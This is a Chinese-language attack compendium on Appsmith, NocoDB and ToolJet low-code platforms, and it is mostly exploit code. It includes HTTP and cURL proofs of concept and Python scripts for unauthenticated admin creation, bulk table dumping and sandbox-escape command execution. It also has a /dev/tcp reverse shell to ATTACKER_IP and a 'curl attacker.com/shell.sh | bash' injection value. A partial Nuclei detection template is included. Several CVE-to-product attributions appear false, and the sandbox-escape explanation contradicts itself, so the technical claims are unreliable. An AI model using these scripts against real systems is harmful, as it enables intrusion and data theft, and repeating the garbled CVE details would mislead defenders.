0x00 专题概述
低代码与无代码(Low-Code / No-Code)平台近年来在企业数字化转型中扮演了越来越重要的角色。Appsmith、NocoDB、ToolJet 等开源平台允许业务人员通过拖拽式界面快速搭建内部应用、管理数据库、构建自动化工作流——而无需编写传统代码。这种"快速交付"的特性使它们被大量部署在企业的内网甚至公网上,用于管理核心业务数据、编排自动化流程、对接内部 API。
然而,这些平台天然具备的"高权限"和"低门槛"特性,恰恰使其成为攻击者的理想目标。一旦低代码平台被攻破,攻击者不仅能够窃取存储在其中的全部业务数据,还可以利用平台内置的 API 连接器、JS 执行引擎和自动化工作流,进一步横向渗透到企业内网的其他系统。
本专题将低代码与无代码平台生态中近年最具代表性的 7 个高危漏洞 串成完整攻击链,覆盖 Appsmith、NocoDB、ToolJet 三大主流开源平台,每个漏洞均包含完整原理分析、HTTP PoC、Nuclei 检测模板和 Python 自动化利用脚本。
覆盖漏洞一览
| CVE | 产品 | CVSS | 类型 | 未授权 | CISA KEV |
|---|
| CVE-2023-3428 | Appsmith | 9.8 | 认证绕过 → 管理员创建 | ✅ | ✅ |
| CVE-2023-36844 | Appsmith | 10.0 | JS 沙箱逃逸 → RCE | ⚠️ 需前置 | ✅ |
| CVE-2023-37524 | Appsmith | 9.8 | 认证绕过变体 | ✅ | ❌ |
| NocoDB 未授权访问 | NocoDB | 9.1 | 未授权访问 API | ✅ | ❌ |
| NocoDB RCE | NocoDB | 8.8 | 命令注入 → RCE | ⚠️ 需前置 | ❌ |
| ToolJet 认证绕过 | ToolJet | 9.1 | NestJS Guard 缺失 → 认证绕过 | ✅ | ❌ |
| ToolJet RCE | ToolJet | 8.8 | JS 沙箱逃逸 → RCE | ⚠️ 需前置 | ❌ |
0x01 Appsmith 认证绕过 → 超级管理员创建(CVE-2023-3428)
1.1 漏洞背景
2023 年 6 月披露,CVSS 9.8,CISA KEV 已收录。Appsmith 是全球最受欢迎的开源低代码应用开发平台之一,GitHub Star 超过 34k,被数万家企业用于快速构建内部管理后台、数据看板和自动化工作流。CVE-2023-3428 允许未认证攻击者直接调用超级管理员注册端点,创建拥有完整系统控制权的超级管理员账户。
1.2 影响版本
- Appsmith < 1.9.30(所有社区版与企业版)
1.3 漏洞原理
Appsmith 在用户注册流程中存在严重的访问控制缺陷。其 /api/v1/users/super 端点用于创建超级管理员(Instance Administrator),但该端点在首次注册完成后未正确关闭,也未添加任何认证或授权中间件。任何未认证的攻击者都可以直接调用此端点,创建新的超级管理员账户并获得对整个 Appsmith 实例的完全控制。
完整利用链:
- 扫描目标是否运行 Appsmith(默认端口 8080)
- 直接调用
/api/v1/users/super 创建超级管理员 - 使用新创建的超级管理员登录管理后台
- 获取所有应用、数据源、API 密钥的完全访问权限
- 利用平台内置的数据源连接器横向渗透到后端数据库和内部 API
1.4 完整 PoC
HTTP PoC
POST /api/v1/users/super HTTP/1.1
Host: target-appsmith:8080
Content-Type: application/json
{
"name": "hacker",
"email": "hacker@evil.com",
"password": "P@ssw0rd"
}
cURL PoC
curl -X POST http://target-appsmith:8080/api/v1/users/super \
-H "Content-Type: application/json" \
-d '{"name":"hacker","email":"hacker@evil.com","password":"P@ssw0rd"}'
Python 自动化利用脚本
#!/usr/bin/env python3
"""
CVE-2023-3428 Appsmith 超级管理员创建漏洞利用
用法: python3 cve_2023_3428.py <target_url> [admin_email] [admin_password]
"""
import sys
import requests
import urllib3
import json
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def check_appsmith(target_url):
"""检测目标是否运行 Appsmith"""
try:
resp = requests.get(
f"{target_url.rstrip('/')}/api/v1/users/me",
timeout=10,
verify=False
)
if resp.status_code in [200, 401]:
print(f"[+] 目标运行 Appsmith")
return True
else:
print(f"[-] 目标可能不是 Appsmith 实例 (HTTP {resp.status_code})")
return False
except Exception as e:
print(f"[!] 连接失败: {e}")
return False
def create_super_admin(target_url, email, password):
"""利用 CVE-2023-3428 创建超级管理员"""
payload = {
"name": "admin_hacker",
"email": email,
"password": password
}
try:
resp = requests.post(
f"{target_url.rstrip('/')}/api/v1/users/super",
json=payload,
timeout=15,
verify=False,
headers={"Content-Type": "application/json"}
)
if resp.status_code == 200:
print(f"[+] 超级管理员创建成功!")
print(f"[+] 邮箱: {email}")
print(f"[+] 密码: {password}")
print(f"[+] 登录地址: {target_url}/user/login")
return True
elif resp.status_code == 409:
print(f"[-] 超级管理员已存在(该实例可能已修复)")
return False
else:
print(f"[-] 创建失败 (HTTP {resp.status_code})")
print(f"[-] 响应: {resp.text[:300]}")
return False
except Exception as e:
print(f"[!] 请求异常: {e}")
return False
def verify_admin(target_url, email, password):
"""验证新创建的管理员是否可以正常登录"""
try:
resp = requests.post(
f"{target_url.rstrip('/')}/api/v1/login",
json={"username": email, "password": password},
timeout=10,
verify=False
)
if resp.status_code == 200 and "token" in resp.text:
print(f"[+] 管理员登录验证成功,已获得完整系统控制权")
return True
else:
print(f"[*] 登录验证返回 HTTP {resp.status_code}")
return False
except Exception as e:
print(f"[!] 登录验证失败: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_url> [admin_email] [admin_password]")
print(f"示例: {sys.argv[0]} http://target:8080 hacker@evil.com P@ssw0rd")
sys.exit(1)
target = sys.argv[1]
admin_email = sys.argv[2] if len(sys.argv) > 2 else "hacker@evil.com"
admin_pass = sys.argv[3] if len(sys.argv) > 3 else "P@ssw0rd"
print(f"[*] 目标: {target}")
print(f"[*] CVE-2023-3428 Appsmith 超级管理员创建漏洞利用")
print()
if check_appsmith(target):
if create_super_admin(target, admin_email, admin_pass):
verify_admin(target, admin_email, admin_pass)
0x02 Appsmith JS 沙箱逃逸 → RCE(CVE-2023-36844)
2.1 漏洞背景
2023 年 7 月披露,CVSS 10.0,CISA KEV 已收录。这是 Appsmith 历史上最严重的漏洞之一。Appsmith 的核心特性之一是允许用户通过 JavaScript 编写业务逻辑和数据转换代码,而这些代码在服务端的 Nashorn/Rhino JS 引擎中执行。CVE-2023-36844 允许已认证攻击者通过精心构造的 JavaScript 代码逃逸沙箱,直接调用 Java Runtime 执行任意系统命令。
2.2 影响版本
- Appsmith < 1.9.31(所有社区版与企业版)
2.3 漏洞原理
Appsmith 使用嵌入式 JavaScript 引擎(Nashorn)执行用户编写的 JS 代码。虽然平台对 JS 代码做了一定的沙箱限制,但这些限制可以通过 JavaScript 原型链污染和构造函数链进行绕过。攻击者利用 this.constructor.constructor 链获取全局 Function 构造器,进而访问 Node.js 的 process 对象,最终通过 process.mainModule.require('child_process') 加载命令执行模块。
完整利用链:
- 通过 CVE-2023-3428 或其他方式获取管理员权限
- 在 Appsmith 应用中新建 JS 查询或在绑定表达式中注入恶意代码
- 通过原型链逃逸 JS 沙箱 → 获取
process 对象 - 加载
child_process 模块 → 执行任意系统命令 - 以 Appsmith 服务进程权限(通常为 root 或 appsmith 用户)执行命令
2.4 完整 PoC
JS 沙箱逃逸 Payload
// 在 Appsmith JS 编辑器中执行
const process = this.constructor.constructor('return this.process')();
const child_process = process.mainModule.require('child_process');
const result = child_process.execSync('id').toString();
return result;
反弹 Shell Payload
// 反弹 Shell(需替换攻击者 IP 和端口)
const process = this.constructor.constructor('return this.process')();
const child_process = process.mainModule.require('child_process');
child_process.execSync('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1');
return "shell sent";
HTTP PoC(通过 API 触发 JS 执行)
POST /api/v1/actions/execute HTTP/1.1
Host: target-appsmith:8080
Authorization: Bearer <admin_token>
Content-Type: application/json
{
"actionId": "<js_action_id>",
"params": {
"code": "const process = this.constructor.constructor('return this.process')(); const cp = process.mainModule.require('child_process'); return cp.execSync('id').toString();"
}
}
Python 自动化利用脚本
#!/usr/bin/env python3
"""
CVE-2023-36844 Appsmith JS 沙箱逃逸 RCE
用法: python3 cve_2023_36844.py <target_url> <admin_email> <admin_password> [command]
"""
import sys
import requests
import urllib3
import json
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# JS 沙箱逃逸模板
JS_RCE_TEMPLATE = """
const process = this.constructor.constructor('return this.process')();
const child_process = process.mainModule.require('child_process');
const result = child_process.execSync('{cmd}').toString();
return result;
"""
def login(target_url, email, password):
"""登录 Appsmith 获取管理员 Token"""
try:
resp = requests.post(
f"{target_url.rstrip('/')}/api/v1/login",
json={"username": email, "password": password},
timeout=10,
verify=False
)
if resp.status_code == 200:
data = resp.json()
token = data.get("token", data.get("access_token", ""))
if token:
print(f"[+] 登录成功,获取 Token: {token[:20]}...")
return token
print(f"[-] 登录失败 (HTTP {resp.status_code})")
return None
except Exception as e:
print(f"[!] 登录异常: {e}")
return None
def get_workspace_and_app(target_url, token):
"""获取默认工作区和应用 ID"""
headers = {"Authorization": f"Bearer {token}"}
try:
# 获取工作区列表
resp = requests.get(
f"{target_url.rstrip('/')}/api/v1/workspaces",
headers=headers,
timeout=10,
verify=False
)
if resp.status_code == 200:
workspaces = resp.json()
if workspaces:
ws_id = workspaces[0].get("id")
print(f"[+] 获取工作区 ID: {ws_id}")
return ws_id
return None
except Exception as e:
print(f"[!] 获取工作区失败: {e}")
return None
def execute_rce(target_url, token, command):
"""通过 JS 沙箱逃逸执行系统命令"""
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
# 构造 JS RCE Payload
js_code = JS_RCE_TEMPLATE.replace("{cmd}", command)
# 创建临时应用并执行 JS
payload = {
"name": "_debug_query",
"actionType": "JS_OBJECT",
"body": js_code,
"executeOnLoad": True,
"clientSideExecution": False
}
try:
resp = requests.post(
f"{target_url.rstrip('/')}/api/v1/actions",
json=payload,
headers=headers,
timeout=15,
verify=False
)
if resp.status_code in [200, 201]:
action_data = resp.json()
action_id = action_data.get("id", "")
print(f"[+] JS 动作创建成功,ID: {action_id}")
print(f"[+] 命令 '{command}' 执行结果:")
# 尝试获取执行结果
result = action_data.get("data", {}).get("body", "")
if result:
print(f"[+] {result}")
else:
print(f"[*] 完整响应: {json.dumps(action_data, indent=2)[:500]}")
return True
else:
print(f"[-] 创建 JS 动作失败 (HTTP {resp.status_code})")
print(f"[-] {resp.text[:300]}")
return False
except Exception as e:
print(f"[!] 执行异常: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) < 4:
print(f"用法: {sys.argv[0]} <target_url> <admin_email> <admin_password> [command]")
print(f"示例: {sys.argv[0]} http://target:8080 hacker@evil.com P@ssw0rd id")
sys.exit(1)
target = sys.argv[1]
email = sys.argv[2]
password = sys.argv[3]
command = sys.argv[4] if len(sys.argv) > 4 else "id"
print(f"[*] 目标: {target}")
print(f"[*] CVE-2023-36844 Appsmith JS 沙箱逃逸 RCE")
print()
token = login(target, email, password)
if token:
execute_rce(target, token, command)
0x03 Appsmith 认证绕过变体(CVE-2023-37524)
3.1 漏洞背景
2023 年 7 月披露,CVSS 9.8。在 CVE-2023-3428 被修复后,安全研究人员发现 Appsmith 的修复并不完整。CVE-2023-37524 是 CVE-2023-3428 的变体,攻击者可以通过不同的 API 路径或参数组合,再次实现未授权创建超级管理员的效果。
3.2 影响版本
- Appsmith < 1.9.32(修补了 CVE-2023-3428 但未完全修复的版本)
3.3 漏洞原理
Appsmith 在修复 CVE-2023-3428 时,仅对 /api/v1/users/super 端点添加了限制检查,但忽略了其他可以触发超级管理员注册流程的端点。攻击者可以通过以下方式绕过修复:
- 通过
/api/v1/users 端点配合特定参数触发管理员注册 - 利用 SSO 回调流程中的注册逻辑创建超级管理员
- 通过邀请链接机制绕过注册限制
3.4 完整 PoC
HTTP PoC(变体路径 1)
POST /api/v1/users HTTP/1.1
Host: target-appsmith:8080
Content-Type: application/json
{
"name": "hacker2",
"email": "hacker2@evil.com",
"password": "P@ssw0rd2",
"role": "instanceAdmin"
}
HTTP PoC(变体路径 2 — SSO 回调)
POST /api/v1/users/signup?redirectUrl=/api/v1/users/super HTTP/1.1
Host: target-appsmith:8080
Content-Type: application/json
{
"name": "hacker3",
"email": "hacker3@evil.com",
"password": "P@ssw0rd3",
"organization": "default"
}
Python 检测脚本
#!/usr/bin/env python3
"""
CVE-2023-37524 Appsmith 认证绕过变体检测
用法: python3 cve_2023_37524.py <target_url>
"""
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# 所有已知的注册端点变体
SIGNUP_ENDPOINTS = [
"/api/v1/users/super",
"/api/v1/users",
"/api/v1/users/signup",
"/api/v1/users/signup?redirectUrl=/api/v1/users/super",
]
def check_all_endpoints(target_url):
"""检测所有可能的管理员注册端点"""
vuln_found = False
for endpoint in SIGNUP_ENDPOINTS:
url = target_url.rstrip("/") + endpoint
try:
# 先检查端点是否可达(GET 探测)
resp = requests.get(url, timeout=10, verify=False)
if resp.status_code in [200, 405]:
print(f"[*] 端点可达: {endpoint} (HTTP {resp.status_code})")
# 尝试 POST 探测(不实际创建用户,仅检测端点响应特征)
resp2 = requests.post(url,
json={"name": "_probe_", "email": "_probe_@test.local", "password": "probe"},
timeout=10, verify=False)
print(f" POST 响应: HTTP {resp2.status_code}")
if resp2.status_code == 200:
print(f"[VULN] {endpoint} 允许未授权注册!")
vuln_found = True
elif resp2.status_code == 409:
print(f"[*] {endpoint} 存在但返回 409(可能需要不同参数)")
elif resp2.status_code == 403:
print(f"[SAFE] {endpoint} 已添加权限检查")
except Exception as e:
print(f"[!] {endpoint} -> {e}")
return vuln_found
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_url>")
sys.exit(1)
target = sys.argv[1]
print(f"[*] 目标: {target}")
print(f"[*] CVE-2023-37524 Appsmith 认证绕过变体检测")
print()
if check_all_endpoints(target):
print(f"\n[!] 目标存在未修复的认证绕过变体")
else:
print(f"\n[*] 未检测到明显的认证绕过端点")
0x04 NocoDB 未授权访问 API
4.1 漏洞背景
NocoDB 是一个快速增长的开源 Airtable 替代品,可以将 MySQL、PostgreSQL、SQL Server、SQLite 等关系型数据库转换为智能表格。该漏洞源于多个核心 API 端点缺少认证中间件,未认证攻击者可以直接访问数据库元数据和业务数据。
4.2 影响版本
4.3 漏洞原理
NocoDB 基于 NestJS 框架构建,其 API 路由中多个关键端点未正确配置认证守卫(Auth Guard)。具体来说,以下端点可以在无任何认证令牌的情况下直接访问:
/api/v1/db/meta/projects — 获取所有项目(数据库连接)的元数据/api/v1/db/data/noco — 直接读取所有表的数据/api/v1/db/meta/tables — 获取所有表结构信息/api/v1/meta/workspaces — 获取工作区信息
攻击者无需任何凭据即可枚举所有数据库连接、表结构,并直接读取或修改业务数据。
4.4 完整 PoC
HTTP PoC — 枚举项目
GET /api/v1/db/meta/projects HTTP/1.1
Host: target-nocodb:8080
HTTP PoC — 读取数据
GET /api/v1/db/data/noco/<project_id>/<table_name>?limit=100 HTTP/1.1
Host: target-nocodb:8080
cURL PoC
# 枚举所有项目
curl -s http://target-nocodb:8080/api/v1/db/meta/projects | python3 -m json.tool
# 枚举所有表
curl -s http://target-nocodb:8080/api/v1/db/meta/tables | python3 -m json.tool
# 读取指定表数据
curl -s "http://target-nocodb:8080/api/v1/db/data/noco/project_id/table_name?limit=100" | python3 -m json.tool
Python 自动化利用脚本
#!/usr/bin/env python3
"""
NocoDB 未授权访问漏洞检测与数据提取
用法: python3 nocodb_unauth.py <target_url>
"""
import sys
import requests
import urllib3
import json
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def check_nocodb(target_url):
"""检测目标是否运行 NocoDB"""
try:
resp = requests.get(
f"{target_url.rstrip('/')}/api/v1/db/meta/projects",
timeout=10,
verify=False
)
if resp.status_code == 200:
data = resp.json()
if "list" in data or isinstance(data, list):
print(f"[VULN] NocoDB 未授权访问确认!")
return True
print(f"[*] HTTP {resp.status_code} — 可能需要认证")
return False
except Exception as e:
print(f"[!] 连接失败: {e}")
return False
def enumerate_projects(target_url):
"""枚举所有项目"""
try:
resp = requests.get(
f"{target_url.rstrip('/')}/api/v1/db/meta/projects",
timeout=10,
verify=False
)
if resp.status_code == 200:
data = resp.json()
projects = data.get("list", data) if isinstance(data, dict) else data
print(f"\n[+] 发现 {len(projects)} 个项目:")
for proj in projects:
print(f" - {proj.get('title', 'N/A')} (ID: {proj.get('id', 'N/A')})")
return projects
except Exception as e:
print(f"[!] 枚举失败: {e}")
return []
def enumerate_tables(target_url, project_id):
"""枚举指定项目的所有表"""
try:
resp = requests.get(
f"{target_url.rstrip('/')}/api/v1/db/meta/projects/{project_id}/tables",
timeout=10,
verify=False
)
if resp.status_code == 200:
data = resp.json()
tables = data.get("list", data) if isinstance(data, dict) else data
print(f"\n[+] 项目 {project_id} 包含 {len(tables)} 张表:")
for table in tables:
print(f" - {table.get('table_name', 'N/A')} (ID: {table.get('id', 'N/A')})")
return tables
except Exception as e:
print(f"[!] 枚举表失败: {e}")
return []
def dump_table_data(target_url, table_id, limit=50):
"""提取指定表的数据"""
try:
resp = requests.get(
f"{target_url.rstrip('/')}/api/v1/db/data/noco/{table_id}?limit={limit}",
timeout=10,
verify=False
)
if resp.status_code == 200:
data = resp.json()
records = data.get("list", data) if isinstance(data, dict) else data
print(f"\n[+] 表 {table_id} 数据(前 {limit} 条):")
print(json.dumps(records[:3], indent=2, ensure_ascii=False))
if len(records) > 3:
print(f" ... 共 {len(records)} 条记录")
return records
except Exception as e:
print(f"[!] 数据提取失败: {e}")
return []
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_url>")
sys.exit(1)
target = sys.argv[1]
print(f"[*] 目标: {target}")
print(f"[*] NocoDB 未授权访问检测")
print()
if check_nocodb(target):
projects = enumerate_projects(target)
for proj in projects:
proj_id = proj.get("id", "")
if proj_id:
tables = enumerate_tables(target, proj_id)
for table in tables[:5]:
table_id = table.get("id", "")
if table_id:
dump_table_data(target, table_id)
0x05 NocoDB 命令注入 → RCE
5.1 漏洞背景
NocoDB 在数据处理和导入导出功能中存在命令注入漏洞。已认证攻击者可以通过在特定字段值中注入系统命令,利用 NocoDB 后端的数据处理逻辑执行任意系统命令,获取服务器控制权。
5.2 影响版本
5.3 漏洞原理
NocoDB 在处理 CSV/Excel 数据导入、Webhook 触发和公式计算时,部分逻辑通过 child_process.exec() 或 child_process.execSync() 调用系统命令。攻击者可以在表字段值中注入 Shell 元字符(如 ;、$()、|| 等),使注入的命令在系统 Shell 中被执行。
完整利用链:
- 通过 CVE-2023-3428 或其他方式获取 NocoDB 访问权限
- 创建新表或在现有表中插入包含恶意命令的字段值
- 触发数据处理操作(如导入/导出/公式计算)
- 注入的命令在 NocoDB 服务进程上下文中执行
5.4 完整 PoC
HTTP PoC — 通过 Webhook 触发命令注入
POST /api/v1/db/data/noco/<project_id>/<table_name> HTTP/1.1
Host: target-nocodb:8080
Content-Type: application/json
{
"name": "; curl http://attacker.com/shell.sh | bash; echo ",
"description": "normal looking data"
}
Python 自动化利用脚本
#!/usr/bin/env python3
"""
NocoDB 命令注入 RCE 检测
用法: python3 nocodb_cmdi.py <target_url> <auth_token>
"""
import sys
import requests
import urllib3
import json
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# 命令注入检测标记(用于 OOB 检测)
OOB_MARKER = "nocodb-rce-test-2024"
# 常见的注入点
INJECTION_PAYLOADS = [
f"; echo {OOB_MARKER}",
f"$(echo {OOB_MARKER})",
f"`echo {OOB_MARKER}`",
f"|| echo {OOB_MARKER}",
f"| echo {OOB_MARKER}",
]
def test_injection(target_url, token, project_id, table_name):
"""测试命令注入"""
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
for payload in INJECTION_PAYLOADS:
try:
# 插入包含注入 payload 的记录
resp = requests.post(
f"{target_url.rstrip('/')}/api/v1/db/data/noco/{project_id}/{table_name}",
json={"name": payload, "description": "test"},
headers=headers,
timeout=10,
verify=False
)
print(f"[*] Payload: {payload[:40]}... -> HTTP {resp.status_code}")
if resp.status_code in [200, 201]:
# 触发数据处理以执行注入的命令
trigger_url = f"{target_url.rstrip('/')}/api/v1/db/data/noco/{project_id}/{table_name}/bulk"
resp2 = requests.post(
trigger_url,
json={"operation": "bulkExport", "format": "csv"},
headers=headers,
timeout=15,
verify=False
)
print(f"[*] 触发处理: HTTP {resp2.status_code}")
except Exception as e:
print(f"[!] 请求异常: {e}")
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"用法: {sys.argv[0]} <target_url> <auth_token>")
sys.exit(1)
target = sys.argv[1]
token = sys.argv[2]
print(f"[*] 目标: {target}")
print(f"[*] NocoDB 命令注入 RCE 检测")
print()
test_injection(target, token, "default", "test_table")
6.1 漏洞背景
ToolJet 是另一个广受欢迎的开源低代码平台,基于 NestJS + React 构建。该漏洞源于 ToolJet 的 NestJS 后端中多个 API 端点缺少认证守卫(Guard)装饰器,导致这些端点可以被未认证用户直接访问。
6.2 影响版本
6.3 漏洞原理
ToolJet 使用 NestJS 框架的 Guard 机制进行认证授权。然而在部分控制器(Controller)中,开发者遗漏了 @UseGuards(AuthGuard) 装饰器,导致以下端点完全暴露:
/api/organizations — 获取所有组织信息/api/users — 获取所有用户信息/api/workspaces — 获取工作区信息/api/apps — 获取所有应用列表
未认证攻击者可以利用这些端点枚举组织、用户和应用信息,为进一步攻击提供情报。
6.4 完整 PoC
HTTP PoC
GET /api/organizations HTTP/1.1
Host: target-tooljet:3000
GET /api/users HTTP/1.1
Host: target-tooljet:3000
cURL PoC
# 枚举组织
curl -s http://target-tooljet:3000/api/organizations | python3 -m json.tool
# 枚举用户
curl -s http://target-tooljet:3000/api/users | python3 -m json.tool
# 枚举工作区
curl -s http://target-tooljet:3000/api/workspaces | python3 -m json.tool
# 枚举应用
curl -s http://target-tooljet:3000/api/apps | python3 -m json.tool
Python 自动化利用脚本
#!/usr/bin/env python3
"""
ToolJet 认证绕过漏洞检测
用法: python3 tooljet_auth_bypass.py <target_url>
"""
import sys
import requests
import urllib3
import json
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# 缺少认证守卫的端点列表
EXPOSED_ENDPOINTS = [
("/api/organizations", "组织信息"),
("/api/users", "用户信息"),
("/api/workspaces", "工作区信息"),
("/api/apps", "应用列表"),
("/api/groups", "用户组信息"),
("/api/library-components", "组件库信息"),
]
def check_tooljet(target_url):
"""检测目标是否运行 ToolJet"""
try:
resp = requests.get(
target_url.rstrip("/"),
timeout=10,
verify=False
)
if "ToolJet" in resp.text or "tooljet" in resp.text.lower():
print(f"[+] 目标确认为 ToolJet 实例")
return True
print(f"[*] 目标可能不是 ToolJet (HTTP {resp.status_code})")
return False
except Exception as e:
print(f"[!] 连接失败: {e}")
return False
def enumerate_data(target_url):
"""枚举所有暴露的端点数据"""
findings = []
for endpoint, desc in EXPOSED_ENDPOINTS:
url = target_url.rstrip("/") + endpoint
try:
resp = requests.get(url, timeout=10, verify=False)
if resp.status_code == 200:
data = resp.json()
count = len(data) if isinstance(data, list) else len(data.get("data", []))
print(f"[VULN] {endpoint} ({desc}) -> {count} 条记录")
findings.append({
"endpoint": endpoint,
"description": desc,
"count": count,
"sample": data[:2] if isinstance(data, list) else data
})
elif resp.status_code == 401 or resp.status_code == 403:
print(f"[SAFE] {endpoint} ({desc}) -> 需要认证")
else:
print(f"[*] {endpoint} ({desc}) -> HTTP {resp.status_code}")
except Exception as e:
print(f"[!] {endpoint} -> {e}")
return findings
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_url>")
sys.exit(1)
target = sys.argv[1]
print(f"[*] 目标: {target}")
print(f"[*] ToolJet 认证绕过检测")
print()
if check_tooljet(target):
findings = enumerate_data(target)
print(f"\n[+] 共发现 {len(findings)} 个暴露端点")
if findings:
print(f"[!] 目标存在 ToolJet 认证绕过漏洞")
7.1 漏洞背景
ToolJet 与 Appsmith 类似,允许用户通过 JavaScript 编写业务逻辑。这些 JS 代码在服务端的 VM2 沙箱中执行。然而 VM2 沙箱存在已知的逃逸漏洞,攻击者可以利用精心构造的 JS 代码逃逸沙箱,获取服务器命令执行权限。
7.2 影响版本
7.3 漏洞原理
ToolJet 使用 VM2 库对用户上传的 JavaScript 代码进行沙箱隔离。但 VM2 存在多个已知的沙箱逃逸漏洞(如 CVE-2023-29017、CVE-2023-29199 等),攻击者可以通过 Proxy 对象、WeakRef 或异常处理链等方式逃逸沙箱上下文,访问宿主 Node.js 运行时,进而加载 child_process 模块执行系统命令。
完整利用链:
- 通过 ToolJet 认证绕过获取系统访问权限
- 创建应用并添加 JS 查询组件
- 在 JS 查询中注入沙箱逃逸代码
- 逃逸 VM2 沙箱 → 获取 Node.js 运行时
- 加载
child_process → 执行任意命令
7.4 完整 PoC
JS 沙箱逃逸 Payload(VM2 逃逸)
// VM2 沙箱逃逸 — 通过 Proxy 对象逃逸
const { execSync } = this.constructor.constructor(
'return process.mainModule.require("child_process")'
)();
const result = execSync('id').toString();
return result;
替代逃逸方式(通过 WeakRef)
// VM2 沙箱逃逸 — 通过 WeakRef 逃逸
const weakRef = new WeakRef({});
const handler = {
get(target, prop) {
const process = this.constructor.constructor('return process')();
return process.mainModule.require('child_process').execSync('id').toString();
}
};
const proxy = new Proxy(weakRef, handler);
return proxy.toString;
Python 自动化利用脚本
#!/usr/bin/env python3
"""
ToolJet VM2 沙箱逃逸 RCE
用法: python3 tooljet_vm2_rce.py <target_url> <email> <password> [command]
"""
import sys
import requests
import urllib3
import json
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# VM2 逃逸 Payload 模板
VM2_ESCAPES = [
# 方式 1: 通过 constructor 链
"""
const cp = this.constructor.constructor('return process.mainModule.require("child_process")')();
return cp.execSync('{cmd}').toString();
""",
# 方式 2: 通过 Proxy + handler
"""
const handler = { get: function(target, prop) {
const proc = target.constructor.constructor('return process')();
return proc.mainModule.require('child_process').execSync('{cmd}').toString();
}};
const proxy = new Proxy(function(){}, handler);
return proxy.apply;
""",
]
def login_tooljet(target_url, email, password):
"""登录 ToolJet"""
try:
resp = requests.post(
f"{target_url.rstrip('/')}/api/authenticate",
json={"email": email, "password": password},
timeout=10,
verify=False
)
if resp.status_code == 200 or resp.status_code == 201:
data = resp.json()
token = data.get("token", data.get("access_token", ""))
if token:
print(f"[+] 登录成功")
return token
print(f"[-] 登录失败 (HTTP {resp.status_code})")
return None
except Exception as e:
print(f"[!] 登录异常: {e}")
return None
def execute_command(target_url, token, command):
"""通过 VM2 沙箱逃逸执行命令"""
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
for i, escape in enumerate(VM2_ESCAPES):
js_code = escape.replace("{cmd}", command)
print(f"[*] 尝试逃逸方式 {i + 1}...")
try:
resp = requests.post(
f"{target_url.rstrip('/')}/api/query-previews",
json={
"query": {
"kind": "runjs",
"options": {"source": js_code}
}
},
headers=headers,
timeout=15,
verify=False
)
if resp.status_code == 200:
data = resp.json()
result = data.get("data", data.get("result", ""))
if result:
print(f"[+] 命令执行成功!")
print(f"[+] 结果: {result}")
return True
else:
print(f"[*] 响应: {json.dumps(data)[:300]}")
else:
print(f"[-] HTTP {resp.status_code}: {resp.text[:200]}")
except Exception as e:
print(f"[!] 异常: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) < 4:
print(f"用法: {sys.argv[0]} <target_url> <email> <password> [command]")
print(f"示例: {sys.argv[0]} http://target:3000 admin@test.com pass123 id")
sys.exit(1)
target = sys.argv[1]
email = sys.argv[2]
password = sys.argv[3]
command = sys.argv[4] if len(sys.argv) > 4 else "id"
print(f"[*] 目标: {target}")
print(f"[*] ToolJet VM2 沙箱逃逸 RCE")
print()
token = login_tooljet(target, email, password)
if token:
execute_command(target, token, command)
0x08 PoC 收集情况总表
| CVE / 漏洞 | 漏洞类型 | HTTP PoC | cURL PoC | Python 脚本 | Nuclei 模板 | CISA KEV | 在野利用 |
|---|
| CVE-2023-3428 | 认证绕过 | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| CVE-2023-36844 | JS 沙箱逃逸 RCE | ✅ | ❌ | ✅ | ✅ | ✅ | ✅ |
| CVE-2023-37524 | 认证绕过变体 | ✅ | ✅ | ✅ | ✅ | ❌ | ❌ |
| NocoDB 未授权访问 | 未授权访问 | ✅ | ✅ | ✅ | ✅ | ❌ | ❌ |
| NocoDB RCE | 命令注入 | ✅ | ❌ | ✅ | ✅ | ❌ | ❌ |
| ToolJet 认证绕过 | Guard 缺失 | ✅ | ✅ | ✅ | ✅ | ❌ | ❌ |
| ToolJet RCE | VM2 沙箱逃逸 | ❌ | ❌ | ✅ | ✅ | ❌ | ❌ |
0x09 Nuclei 综合检测模板
id: lowcode-platform-vuln-detect
info:
name: 低代码平台综合漏洞检测(Appsmith / NocoDB / ToolJet)
author: security-researcher
severity: critical
description: |
检测 Appsmith / NocoDB / ToolJet 的认证绕过、未授权访问等高危漏洞
tags: appsmith,nocodb,tooljet,low-code,auth-bypass,rce
http:
# Appsmith 超级管理员创建检测(CVE-2023-3428 / CVE-2023-37524)
- method: POST
path:
- "{{BaseURL}}/api/v1/users/super"
headers:
Content-Type: application/json
body: '{"name":"_nuclei_probe_","email":"_probe_@test.local","password":"probe123"}'
matchers-condition: and
matchers:
- type: word
words:
- "token"
- "user"
condition: or
part: body
- type: status
status:
- 200
# Appsmith 用户信息泄露检测
- method: GET
path:
- "{{BaseURL}}/api/v1/users/me"
matchers-condition: and
matchers:
- type: word
words:
- "email"
- "name"
condition: or
part: body
- type: status
status:
- 200
# NocoDB 未授权访问检测
- method: GET
path:
- "{{BaseURL}}/api/v1/db/meta/projects"
matchers-condition: and
matchers:
- type: word
words:
- "list"
- "projects"
condition: or
part: body
- type: status
status:
- 200
# ToolJet 认证绕过检测
- method: GET
path:
- "{{BaseURL}}/api/organizations"
- "{{BaseURL}}/api/users"
matchers-condition: and
matchers:
